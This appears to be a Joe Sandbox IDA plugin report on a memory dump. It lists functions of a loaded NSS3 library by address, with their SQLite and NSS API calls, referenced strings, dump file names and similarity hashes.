sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE05EED

Strings

API call with %s database connection pointer, xrefs: 6CE05EC3
%s at line %d of [%.10s], xrefs: 6CE05EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE05E64
invalid, xrefs: 6CE05EBE
misuse, xrefs: 6CE05EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE05ED1

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 25049d00d2c0dc7dadfc7cdec4f7d327150c78dfe6d935c98fd3a340ac7ac52a
Instruction ID: 6fdddd50a341b7347de2fef76c2e7f75bd4dda55b0d0c149dbb0877fa0e5936c
Opcode Fuzzy Hash: 25049d00d2c0dc7dadfc7cdec4f7d327150c78dfe6d935c98fd3a340ac7ac52a
Instruction Fuzzy Hash: 2C81DC30B076029BEB098F25C848BAA7771BF4230CF38426ED8555BB51D734E862CBD9

Function 6CDEDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDEDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDEDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDEDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDEDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDEDF78

Strings

%s at line %d of [%.10s], xrefs: 6CDEDE61, 6CDEDE90
database corruption, xrefs: 6CDEDE5C, 6CDEDE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDEDE52, 6CDEDE81

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 3a52ab551c97adcdd9e34e7ca260d4c2b691f8519d36a269fabef151d919e533
Instruction ID: 3ffb42b9f7f14b6aadb3da567725d49989c35d11dde4fff20afe73db9c9be9a1
Opcode Fuzzy Hash: 3a52ab551c97adcdd9e34e7ca260d4c2b691f8519d36a269fabef151d919e533
Instruction Fuzzy Hash: 5681B371604701EFD714CF65C880B6A77F1BFC9308F15882DE99A8BAA1EB31E845CB52

Function 6CD9CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CD9B999), ref: 6CD9CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CD9B999), ref: 6CD9D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CD9B999), ref: 6CD9D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CD9B999), ref: 6CEE972B

Strings

%s at line %d of [%.10s], xrefs: 6CD9CFEC, 6CD9D018, 6CD9D029, 6CD9D03F, 6CEE978B
database corruption, xrefs: 6CD9CFE7, 6CD9D013, 6CD9D028, 6CD9D039, 6CD9D03E, 6CEE9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD9CFDD, 6CD9D00E, 6CD9D022, 6CD9D033, 6CEE9780

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 197464cb088cca42ec3446ce97e02499eaaf910340a457b0b19158f250cb0879
Instruction ID: 32c2f06be30f68eba46df63366f59ebfe38578b4d0c8a46bb1ef64d56158355d
Opcode Fuzzy Hash: 197464cb088cca42ec3446ce97e02499eaaf910340a457b0b19158f250cb0879
Instruction Fuzzy Hash: D3614871A043109BD310CF2AC840BA6BBF6EF95318F28856DE4499BB52D376D947C7A1

Function 6CE9FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEA5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEA5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CEA0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA0130
PORT_Alloc_Util.NSS3(00000040), ref: 6CEA015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CEA01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CEA0202
free.MOZGLUE(?), ref: 6CEA0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA0253

Strings

exporter, xrefs: 6CEA00F7

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 4e7a316dd086d12c0e151f8e7562e671873467f5240b1629a3ff74ceda5a5d52
Instruction ID: 341b7bb34a5da4ae38e7b97b0f485f997fb7fd2deb67e9b2ebf224ba1d92ff4a
Opcode Fuzzy Hash: 4e7a316dd086d12c0e151f8e7562e671873467f5240b1629a3ff74ceda5a5d52
Instruction Fuzzy Hash: D86101B29007899FEF118FA4CC00BEA77B6FF5830CF24412CE91A5A661EB329956C751

Function 6CE74DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CE7536F,00000022,?,?,00000000,?), ref: 6CE74E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CE74F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CE74F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CE74FAE
free.MOZGLUE(?), ref: 6CE74FC8

Strings

%s=%s, xrefs: 6CE74F89
oSl", xrefs: 6CE74DFB, 6CE74EF4, 6CE74EC5
%s=%c%s%c, xrefs: 6CE74FA9

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 4aa495bcbfb9d3a817db21b1cf1febd75564e733555b039b65d3589f01277304
Instruction ID: 5e4843283bffe7aa0e1ef01608ae4125f0db461f39671e0d3ec3b462d445c75c
Opcode Fuzzy Hash: 4aa495bcbfb9d3a817db21b1cf1febd75564e733555b039b65d3589f01277304
Instruction Fuzzy Hash: 80510521A051498BEB25CA6A84917FE7BF5DB4331CF398127E894ABB41D3359806CFB1

Function 6CE9EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CEBA4A1,?,00000000,?,00000001), ref: 6CE9EF6D

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

htonl.WSOCK32(00000000,?,6CEBA4A1,?,00000000,?,00000001), ref: 6CE9EFE4
htonl.WSOCK32(?,00000000,?,6CEBA4A1,?,00000000,?,00000001), ref: 6CE9EFF1
memcpy.VCRUNTIME140(?,?,6CEBA4A1,?,00000000,?,6CEBA4A1,?,00000000,?,00000001), ref: 6CE9F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CEBA4A1,?,00000000,?,00000001), ref: 6CE9F027

Strings

dtls13, xrefs: 6CE9EF33

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 959af26713f741068bc210524c0c0e75986e5d90a0bea9cccb9416497808b9f3
Instruction ID: f58f0812372528bf5ddc5827b55d9fefbbc0ed3d61ba6a2ee034408929e9ea14
Opcode Fuzzy Hash: 959af26713f741068bc210524c0c0e75986e5d90a0bea9cccb9416497808b9f3
Instruction Fuzzy Hash: 0231F071A00611ABC710CF68CC81B9AB7F4BF4934CF25802AED199B751E731E916CBE1

Function 6CE1AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE1AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF39500,6CE13F91), ref: 6CE1AFD2

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

DER_GetInteger_Util.NSS3(?), ref: 6CE1B007

Part of subcall function 6CE66A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE11666,?,6CE1B00C,?), ref: 6CE66AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE1B02F
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE1B046
PL_FreeArenaPool.NSS3 ref: 6CE1B058
PL_FinishArenaPool.NSS3 ref: 6CE1B060

Strings

security, xrefs: 6CE1AFB8

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: a18fbaea14399378e34d4eff684da4a7b1d9a55826d3cec5eb8b893266cd66e9
Instruction ID: a4cd2c3f82df3a5d30963074364e6a330126412e01a42924ee82d4f6b328979f
Opcode Fuzzy Hash: a18fbaea14399378e34d4eff684da4a7b1d9a55826d3cec5eb8b893266cd66e9
Instruction Fuzzy Hash: 5831E7B1808300DFDB208F149844BAA77B4AF4632CF30461DE8B45BF91E7329559C796

Function 6CE13E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE140D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE13F7F,?,00000055,?,?,6CE11666,?,?), ref: 6CE140D9
Part of subcall function 6CE140D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE11666,?,?), ref: 6CE140FC
Part of subcall function 6CE140D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE11666,?,?), ref: 6CE14138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE13EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE13ED6

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE13EEE

Part of subcall function 6CE6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE68D2D,?,00000000,?), ref: 6CE6FB85
Part of subcall function 6CE6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE6FBB1

PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE13F02
PL_FreeArenaPool.NSS3 ref: 6CE13F14
PL_FinishArenaPool.NSS3 ref: 6CE13F1C

Part of subcall function 6CE764F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CE7127C,00000000,00000000,00000000), ref: 6CE7650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE13F27

Strings

security, xrefs: 6CE13EBC

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 7e241e3cc858a40f89f2ba3a4cee83011f1d8f2d713048e56e6e0a979f613aa0
Instruction ID: 08e6b40472911f4a140bca719993de1d49b34b31bfe72d8ff469a4fc87934af6
Opcode Fuzzy Hash: 7e241e3cc858a40f89f2ba3a4cee83011f1d8f2d713048e56e6e0a979f613aa0
Instruction Fuzzy Hash: 6521F8B2908300ABD7148B15AC02FAA77B8FB4831CF14453DF959A7B42F731D528C7A6

Function 6CE5CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CE5CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CE5CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CE5D079

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ff061e86ad2119e1ea7f578474b9cb41fee51e19405763131d9d239fb054367a
Instruction ID: b0b05674382b2959f563a878b8e49bb37779f2439686af2c25aa0a45a95983dc
Opcode Fuzzy Hash: ff061e86ad2119e1ea7f578474b9cb41fee51e19405763131d9d239fb054367a
Instruction Fuzzy Hash: BFC190B5A002199BDB10CF24CC80BDAB7B5BF49318F6441A8D94CA7741E776EEA5CF90

Function 6CE4DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CE597C1,?,00000000,00000000,?,?,?,00000000,?,6CE37F4A,00000000), ref: 6CE4DC68

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE4DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE4DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE4DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE4DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE4DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE4DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE4DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE37F4A,00000000,?,00000000,00000000), ref: 6CE4DFAA

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: b100dbcad7509a0b295e112118e7f960c0d441f3101d6fd94e5839d9b8a93e3a
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: C781B078E026018BFB104E59E8A0B6972F2DB6174CF34C43AD91ACAFE1D779D784C612

Function 6CE23C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE23C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE23C94

Part of subcall function 6CE195B0: TlsGetValue.KERNEL32(00000000,?,6CE300D2,00000000), ref: 6CE195D2
Part of subcall function 6CE195B0: EnterCriticalSection.KERNEL32(?,?,?,6CE300D2,00000000), ref: 6CE195E7
Part of subcall function 6CE195B0: PR_Unlock.NSS3(?,?,?,?,6CE300D2,00000000), ref: 6CE19605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE23CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE23CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE23CE1

Part of subcall function 6CE23090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE3AE42), ref: 6CE230AA
Part of subcall function 6CE23090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE230C7
Part of subcall function 6CE23090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE230E5
Part of subcall function 6CE23090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE23116
Part of subcall function 6CE23090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE2312B
Part of subcall function 6CE23090: PK11_DestroyObject.NSS3(?,?), ref: 6CE23154
Part of subcall function 6CE23090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE2317E

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 0522cfc90930176a1f5b912f3c5672b51ece78c71526dd713fed62d59eaa412e
Instruction ID: fd69083c5b7a4d611b5791249396108afb8cfcf833dadd0661d4f5172df7b7ed
Opcode Fuzzy Hash: 0522cfc90930176a1f5b912f3c5672b51ece78c71526dd713fed62d59eaa412e
Instruction Fuzzy Hash: E061B671A00300ABEB105E65DC41FA776BDAF0474CF68406CEE0A9AB52F766D918CBB1

Function 6CE63D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CE63440: PK11_GetAllTokens.NSS3 ref: 6CE63481
Part of subcall function 6CE63440: PR_SetError.NSS3(00000000,00000000), ref: 6CE634A3
Part of subcall function 6CE63440: TlsGetValue.KERNEL32 ref: 6CE6352E
Part of subcall function 6CE63440: EnterCriticalSection.KERNEL32(?), ref: 6CE63542
Part of subcall function 6CE63440: PR_Unlock.NSS3(?), ref: 6CE6355B

TlsGetValue.KERNEL32 ref: 6CE63D8B
EnterCriticalSection.KERNEL32(?), ref: 6CE63D9F
PR_Unlock.NSS3(?), ref: 6CE63DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CE63DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE63E4F

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

TlsGetValue.KERNEL32 ref: 6CE63E97
EnterCriticalSection.KERNEL32(?), ref: 6CE63EAB
PR_Unlock.NSS3(?), ref: 6CE63ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CE63EEE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
